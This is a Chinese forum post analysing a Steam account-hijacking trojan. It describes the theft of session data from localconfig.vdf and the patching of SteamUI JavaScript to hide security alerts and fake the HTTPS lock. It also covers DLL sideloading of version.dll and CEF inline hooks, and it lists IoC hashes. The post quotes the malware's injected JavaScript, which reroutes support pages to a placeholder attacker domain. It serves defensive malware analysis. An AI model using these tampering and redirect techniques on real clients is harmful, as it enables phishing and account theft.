好友
阅读权限10
听众
最后登录1970-1-1
|
sxaq
发表于 2026-7-13 09:49
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子! 病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途! 禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 sxaq 于 2026-7-13 09:52 编辑
一、执行摘要
本次分析的恶意样本是一款高度定制化、针对 Steam 客户端的账户劫持木马。
该威胁通过“前端文件篡改”与“底层内存劫持”相结合的双层架构,实施隐蔽的钓鱼攻击。
攻击链主要分为两个阶段:
1.静态篡改与凭证窃取阶段: 恶意软件通过预定义的硬编码路径定位 Steam 安装目录,解析 userdata 目录与 localconfig.vdf 文件以窃取目标用户的敏感会话信息。随后,程序直接篡改 SteamUI 的核心 JavaScript 代码,强行关闭官方安全告警逻辑,伪造 SSL 安全凭证(强制显示绿锁),并将客户端的正常交互动作(如点击“开始游戏”)以及原生客服路由重定向至攻击者控制的 C2 节点。
2.动态劫持与持久化阶段: 样本利用 DLL 侧载技术,将恶意模块 version.dll 植入 Steam 的 Chromium 嵌入式框架(CEF)目录中实现持久化。当注入到 steamwebhelper.exe 进程后,该 DLL 在内存中对 CEF 的核心导出函数及客户端回调虚表(VTable)实施 Inline Hook。通过静默拦截特定的网络导航请求(如 HelpTradeRestore),恶意组件会异步强制客户端加载伪造的客服红信页面,并同时裁剪右键菜单功能以阻断用户的审查与调试。
二、恶意行为分析
主程序详细分析恶意软件并未实现对整个文件系统的遍历或者读取注册表的Steam的安装路径,而是在程序内部嵌入了四个预定义的路径,在扫描的过程中,根据这四个路径拼凑出 steam.exe 的绝对路径,通过读取该文件是否存在来判断路径是否命中。
"C:\\Program Files (x86)\\Steam"
"C:\\Program Files\\Steam"
"D:\\Steam"
"E:\\Steam"
在定位 Steam 安装路径后,会拼凑出 userdata 的绝对路径,接着根据文件时间来找出最近登录过的那个账户的ID。
在决定好受害者之后,该恶意软件会读取 localconfig.vdf 的内容,尝试从里面提取敏感信息。
接着恶意软件会定位 steamui 的绝对路径,开始实施页面伪造。
该恶意软件实现了一个函数用来扫描 js 文件,并对 js 代码进行替换,从而改变原始代码的执行流。
!!this.m_CurrentUser?.bSupportPopupMessage 和 this.m_CurrentUser.bSupportAlertActive 这几行代码用来检测当前用户是否有弹窗消息和安全警告是否激活。
该恶意软件会搜索这几行代码,并把它们强行替换为 0。这样一来,如果 Steam 官方发现账号异地登录,发出了红色的安全警告,受害者的客户端上也会什么都不显示。
&&a&&a.startsWith("https://")&&r?.bIsSecure... 是 Steam 内置浏览器的地址栏绘制代码。
该恶意软件同样篡改了这段逻辑,使得无论浏览器访问的是什么钓鱼网站(哪怕没有 HTTPS 证书、证书报错),浏览器的地址栏上都会显示一把绿色的安全锁。受害者一看有安全锁,就会放松警惕。
在代码篡改成功之后,恶意软件开始动态构建用于数据回传和流量劫持的 C2 链接。恶意代码同时拼接了两套 URL 结构。一套用于后台 API 通信(/steamhelper),另一套包含 .html 后缀用于前端劫持渲染。
随后恶意软件把这些网址动态写入到一段 JavaScript 代码中,最终用来篡改 SteamUI。
// 1. 保存 Steam 原本想打开的正常安全网址
let i = r.url;
// 2. 定义变量 s,存放黑客的钓鱼网址
const s = "https://[恶意域名]/steamhelper.html?u=0...";
// 3. 核心劫持逻辑:狸猫换太子
i = {
"SupportMessages": "https://[恶意域名]/steamhelper?d=...",
"HelpAppPage": s,
"HelpFrontPage": s
}[e] ?? i;
// 4. 返回最终被篡改的网址,交由 Steam 内置浏览器打开
return
注入的 JavaScript 使用了键值对映射的模式拦截 Steam 内部的路由参数。当识别到用户尝试访问安全敏感页面(如 "SupportMessages", "HelpAppPage", "HelpFrontPage")时,脚本会立刻废弃合法的 r.url,将其覆盖为攻击者的钓鱼 URL。
aOngameactionus OnGameActionUserRequest(e,t,r,i,n){SteamClient?.URL?.ExecuteSteamURL("steam://open/supportalert");return;if
aOngameactionus_0 OnGameActionUserRequest(e,t,r,i,n){ifaOngameactionus_0 (原始代码): 是 Steam 客户端内部正常的 JavaScript 函数。(On Game Action User Request),当受害者在 Steam 里点击“开始游戏”、“加入好友游戏” 或 “接受游戏邀请”等日常操作时,就会触发这个函数。
恶意软件在原始函数最开头塞入了 SteamClient?.URL?.ExecuteSteamURL("steam://open/supportalert"); 并紧跟着一个 return。
篡改后,只要受害者一点击“开始游戏”,Steam 就不会去运行游戏了(因为被 return 拦截了),而是强制执行 steam://open/supportalert 命令。这个命令原本是 Steam 用来弹出“官方客服红信/安全警告弹窗”的。
由于在执行上面这段代码之前,恶意软件已经把 Steam 的底层路由逻辑给改了。受害者的 Steam 客户端里,所谓的“官方客服弹窗 (Support Alert)”,已经被偷偷替换成了带有受害敏感信息的黑客钓鱼网站 ([恶意域名]/steamhelper.html...)。
最后恶意软件执行 DLL侧载。将恶意的DLL拷贝到Steam的CEF框架目录中,当程序启动时首先会在当前目录下搜索 version.dll,当程序需要调用正常的 version.dll 函数时,version.dll 会转发给 versionOrg.dll 让这个干净的DLL执行正常功能。
version.dll该恶意DLL会修改Steam的客户端界面,伪造一个红信通知,当点击红信通知之后,会自动重定向到攻击者的恶意域名从而完成攻击者的恶意行为。
该恶意DLL(version.dll)被加载后,会先检测宿主进程,只有在注入到 Steam 的内置浏览器进程(steamwebhelper.exe)时才会继续执行。一旦检测到 CEF 加载,它便对 CEF 创建浏览器的核心导出函数进行了 Inline Hook(内联挂钩)。
libcef.dll 加载确认后,样本动态解析出核心浏览器实例创建函数(cef_browser_host_create_browser 与 cef_browser_host_create_browser_sync),随后调用内部函数对解析出的导出函数进行 Inline Hook。
当宿主程序尝试创建新的 CEF 浏览器窗口时,执行流被重定向至恶意函数。
恶意 DLL 在成功挂钩 CEF 浏览器实例创建过程后,进一步向核心事件处理机制渗透的具体执行逻辑。样本直接在内存中篡改其底层虚表的函数指针,从而全面接管浏览器的事件委托模型。
恶意软件利用基于请求拦截的静默页面劫持的方式,持续监控所有的页面请求与导航行为。程序在内存中解密关键目标特征字符串 HelpTradeRestore(对应 Steam 客服与交易恢复接口)。
当探测到当前请求 URL 命中目标特征时,恶意代码立即阻断原始 CEF 请求逻辑。为防止阻塞 UI 线程,该恶意软件创建独立线程,通过 CEF 对象的底层虚表方法,强制当前浏览器实例加载攻击者预设的钓鱼链接:https://[恶意域名]/index2.html。
为配合上述页面劫持行为,该恶意软件通过对 CEF 框架渲染出的右键菜单进行动态枚举与裁剪,实施了针对客户端 UI 的功能限制,强制遍历当前所有的上下文菜单项,并定向移除 Command ID 为 125 和 131 的特定功能指令。
劫持之后,再对steam进行右键时,右键菜单的部分内容已经被剔除。
三、IoCs
MD5: ef004ce49b2869d05e6c60dbbf5c8c89
SHA-1: 3cddbbef6be60039cef9f000c74c7f0fdb4f6d95
SHA-256: d18731d342eced9c7b0d27b51d97669e4231dbe5547f900491b9caf06f768e15 |
免费评分
-
查看全部评分
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|
|